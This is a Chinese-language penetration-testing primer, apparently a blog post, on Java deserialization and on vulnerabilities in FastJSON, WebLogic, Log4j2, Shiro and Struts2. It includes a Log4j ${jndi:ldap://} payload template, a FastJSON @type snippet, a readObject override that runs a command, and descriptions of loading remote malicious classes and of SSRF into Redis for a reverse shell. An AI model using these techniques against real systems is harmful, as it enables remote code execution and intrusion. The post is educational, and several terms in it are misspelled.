渗透测试入门必读:关于Java后端中的反序列化以及框架漏洞的那些事儿

1. 关于Java的那些乱七八糟的概念

1.1 jndi是什么玩意儿

  • 全名:Java Naming and Directory Interface,命名服务(Naming)和目录服务(Directory)访问接口。
  • Naming–命名服务,通过对象的名字还获得这个对象;Directory–目录服务,可以理解为名称服务的拓展,例如ldap就是目录服务的一种。
  • 是Java提供的一个标准接口,用于查找和访问名称服务中的数据和对象。其根本功能,就是让你可以通过一个简短的字符串,就能获取一系列的复杂配置和初始化后的功能。

JNDI通过SPI机制,可以和LDAP、RMI等各种技术,产生联动。SPI是为数不多的打破Java类加载机制的技术。
当它从本地加载相应类的时候,如果加载不到,它干了一件不该干但又不得不干的事情,那就是从网络上的代码里面构造相应的对象!
只需要在8000端口启动一个nginx。或者直接使用python启动一个小小的web服务器。能够发起外网请求的服务器,将会乖乖的自动从我们指定的服务器上捞下非法的class文件进行加载。

1.2 IIOP是什么东西

  • java的RMI通信,也就是远程方法调用,也就是远程方法调用,默认使用jrmp协议。在Java中,RMI-IIOP是Java Remote Method Invocation (RMI) 通过IIOP协议的实现,使得Java程序可以与非Java的CORBA对象进行交互。

1.3 RMI是什么

  • RMI是远程方法调用(Remote Method Invocation),在不同的Java虚拟机之间进行方法的调用。客户端通过调用服务端的方法来实现某些功能。
  • RMI的传输100%基于反序列化,Java RMI的默认端口是1099。

1.4 IDAP是什么鬼东西

IDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议,LDAP
通常用于集成应用程序与企业目录服务。就是可以理解为类似于Active Directory的东西,也是一个目录,用于存信息。

1.5 Java反射是什么

主要目的是用于动态创建对象、调用方法以及修改属性等。在程序运行的状态中可以构造任意类的对象,也可以了解任意的一个类。(就是在程序运行的状态可以构造任意类的对象,可能会导致反序列化的漏洞被触发。)
假设我们有一个配置文件,里面记录了类的名称、方法名、属性名等信息,我们可以在运行时读取配置文件,然后使用
Java反射机制来创建对象、调用方法、修改属性等。这样就可以实现在不修改代码的情况下,根据配置文件来动态地创建对象、调用方法、修改属性,这样不就是很灵活很方便。

1.6JMX是什么贵物

  • 是一套标准的代理服务器,用户可以在任何的Java应用程序中使用这些代理和服务实现管理,中间件软件webLogic的管理页面就是基于JMX开发的,jBoss整个系统都是基于JMX架构。

1.7 Java序列化和反序列化

  • 序列化–Java序列化就是把一个对象转换成字节序列([]byte)的过程,为的是方便在网络上传播,便于存到数据库、内存、文件中等,是Java对象脱离Java运行环境的一种手段。

Java序列化和反序列化

  • 反序列化–把一个字节序列转化为Java的对象,并将Java对象加载到内存中去。

1.8 Java会有反序列化漏洞

  • 漏洞历史

最为出名的大概应该是:15年的Apache Commons Collections 反序列化远程命令执行漏洞,其当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。

2016年Spring RMI反序列化漏洞今年比较出名的:Jackson,FastJson

  • 漏洞成因

由于反序列化的时候我们要调用类的readObject()方法,所以呢,如果我们把这个方法进行重载,那么就可能导致了触发恶意操作。

//从文件读入数据并且构造一个对象输入流
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\text.out"));
//类型强转为student
Student student = (Student) objectInputStream.**readObject()**;
System.out.println("name="+student.getName());

可以对readObject()方法进行重写,嵌入恶意字符串。

class MyObject implements Serializable{
     public String name;     //重写readObject()方法     
     private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
              //执行默认的readObject()方法         
              in.defaultReadObject();         //执行打开计算器程序命令示例,这里可以嵌入恶意命令         
              Runtime.getRuntime().exec("open /Applications/Calculator.app/");
     }
}

我们注意到 MyObject 类实现了Serializable接口,并且重写了readObject()函数。这里需要注意:只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的 readObject() 执行了Runtime.getRuntime().exec(“open /Applications/Calculator.app/”),而 readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject() 是可以重写的,可以定制反序列化的一些行为。

1.9 什么是Tomcat的war包

  • war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。以Tomcat来说,将war包放置在/webapps/目录下,启动Tomcat后这个包会自动解压,就相当于发布了。

1.10 Java web三大件

Java Web三大件

  • Servlet,运行在Web服务器或者应用服务器上面的程序,可以理解为一个容器,作为处理http请求和http服务器上数据库或者应用之间的中间层,处理请求。
  • Filter,过滤器对Servlet的一种补充,用于拦截用户的Request进行检查
  • Listener,监听器,监听客户端的请求,服务器的操作等。

2. 甲骨文Java类–漏洞

2.1 FastJSON的漏洞

  • fastjson是阿里巴巴开源的json库,主要用于解析json格式的字符串,将数据在json和Java object之间相互转换。(将json字符串转为Java对象)
String text = JSON.toJSONString(obj);        // 序列化
VO vo = JSON.parseObject("{...}", VO.class); // 反序列化

原理–>引入了AutoType。AutoType是一个功能,用于判断反序列化后得到的对象的类型,使用@type关键字来指定类型

String json = "{\\"@type\\":\\"java.lang.Runtime\\",\\"@type\\":\\"java.lang.Runtime\\",\\"@type\\":\\"java.lang.Runtime\\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang"); //手动开启autotype
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);

AutoType它记录了原始的类型,在处理json对象时未对Autotype字段进行过滤可以帮助我们反序列化指定的类得到它的实例。

  • 利用–>使用autoType构造和加载恶意类
    可以利用JdbcRowSetImpl构造恶意类,rmi服务器(rmi服务器:一个机器执行另一个机器给的命令)加载恶意类得到命令,目标服务器读取加载到payload中JdbcRowSetImpl类调用lookup()就找rmi服务器询问需要执行什么命令,rmi服务器告知目标服务器需要执行什么命令。Autocommit=true代表命令执行。
    修复的版本中,fastjson默认的autoType关闭,并且加入了checkAutoType,加入了黑白名单校验的功能。

简单说:请求包发送给恶意的json格式的payload,漏洞处理json对象的时候,没有对于@type的字段进行过滤,导致了黑客打入的恶意Templateslmpl类。
这个类的其中一个字段_bytecodes,有部分的函数会根据_bytecodes生成java实例,这样就做到了通过fastjson传入了一个类,再通过这个类被生成的时候执行构造函数。

2.2 WebLogic相关漏洞

  • WebLogic漏洞是一个基于JavaEE架构的中间件。是一个闭源的Java应用服务器。
  • XMLDecoder反序列化漏洞:WLS组件对外提供web服务,使用XMLDecoder解析传入的XML数据,在解析的过程中出现反序列化漏洞,造成命令执行。
  • T3协议反序列化:通过T3协议触发,造成未授权的用户在远程服务器进行命令执行。T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
  • 14882/14883未授权绕过权限远程命令执行:…/console.portal登录,直接在url中利用恶意类执行命令或者利用远程服务器去加载恶意的xml文件。
  • SSRF漏洞,在weblogic的一个uddiexplorer/路由下面有一个SearchPublicRegisters.jsp,通过抓包可以发现有一个访问的url,修改后可以触发ssrf漏洞。weblogic的ssrf的特点是:虽然是GET/POST请求,但是可以通过传入%0a%0d来作为换行符号。而有些服务redis等刚好可以通过换行符来执行某些命令,所以可以使用SSRF来攻击redis,让redis反弹shell,脚本写入crontab,然后监听。

2.3 Log4j2漏洞

  • 远程代码执行漏洞,是利用了Log4j2可以对日志中的“${}”进行解析执行,来进行攻击的。
    程序开发、调试时,可能会对客户端传来的参数在日志中直接输出,用来监控、调试和查错等。如果此时客户端传来的参数含有“${}”,并有恶意代码,就会受到攻击。
  • 在日志输出时未对字符合法性作严格的限制,在下载文件的url或者搜索框中加入**${jndi:ldap://网址}**,log4j会对其进行表达式解析,给lookup传入参数执行,实现jndi注入。
  • Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行
  • 网上关于攻击的例子,主要是:利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。

设备上出现log4j如何判定攻击成功?
出现远程命令执行,访问权限变化、日志文件变化、网络连接变化的情况。

2.4 Shiro漏洞

  • Shrio是apache的一款开源安全框架,用于权限管理,实现用户认证、用户授权等。
  • 特征:
    • 无论登录成功失败,是否勾选rememberMe,返回包set-cookie都出现rememberMe=deleteMe。
    • 登陆失败或登陆成功但没勾选rememberMe,之后的请求包cookie不出现rememberMe;登陆成功且勾选rememberMe,返回包多出rememberMe且之后的请求包会出现rememberMe。
  • 反序列化–Shiro 550 <1.2.4
    • 登陆成功后cookie中的rememberMe字段是经过序列化、aes加密、base64编码处理的,服务端获取它并进行反方向处理,而低版本的aes的密钥是硬编码可以在代码中找到,攻击者伪造恶意的序列化对象作为cookie发送,服务端进行处理时可以造成反序列化漏洞。我们使用exp伪造cookie可以进行命令执行。
  • 反序列化–Shrio 721
    • 登录成功后cookie中的rememberMe字段是经过序列化、AES-128-CBC加密处理的,这里的aes的密钥是随机生成的,但是我们可以通过Padding Oracle加密(一种加密方法)生成的攻击代码构造恶意的rememberMe字段(原始的rememberMe作为前缀加载ysoserial生成的payload进行攻击),服务端在处理时产生反序列化漏洞,进而可以进行命令执行等。
  • 未授权访问
    • 由于springboot和apache shrio对于请求的URL处理不一致,请求的URL在整个项目的传入传递过程,在使用了shiro的项目中,是我们请求的URL(URL1),经过shiro权限检验(URL2), 最后到springboot项目找到路由来处理(URL3)。漏洞的出现就在URL1,URL2和URL3 有可能不是同一个URL,这就导致我们能绕过shiro的校验,直接访问后端需要首选的URL。

2.5 Struct2漏洞

  • Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。
  • 因为OGNL过于强大,它也造成了诸多安全问题。恶意攻击者通过构造特定数据带入OGNL表达式即可能被解析并执行,而OGNL可以用来获取和设置Java对象的属性,同时也可以对服务端对象进行修改,所以只要绕过Struts2的一些安全策略,恶意攻击者甚至可以执行系统命令进行系统攻击。如struts2远程代码执行漏洞s2-005。
  • 虽然Struts2出于安全考虑,在SecurityMemberAccess类中通过设置禁止静态方法访问及默认禁止执行静态方法来阻止代码执行。即上面提及的denyMethodExecution为true,MemberAccess为false。但这两个属性都可以被修改从而绕过安全限制执行任意命令。
  • 为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值。
  • OGNL是Object-Graph Navigation Language的缩写,翻译过来就是对象视图导航语言,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
  • 提交表单失败后,服务端会将之前提交的参数使用OGNL表达式解析重新填入表单中,我们可以构造payload利用这个解析来进行命令执行等。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值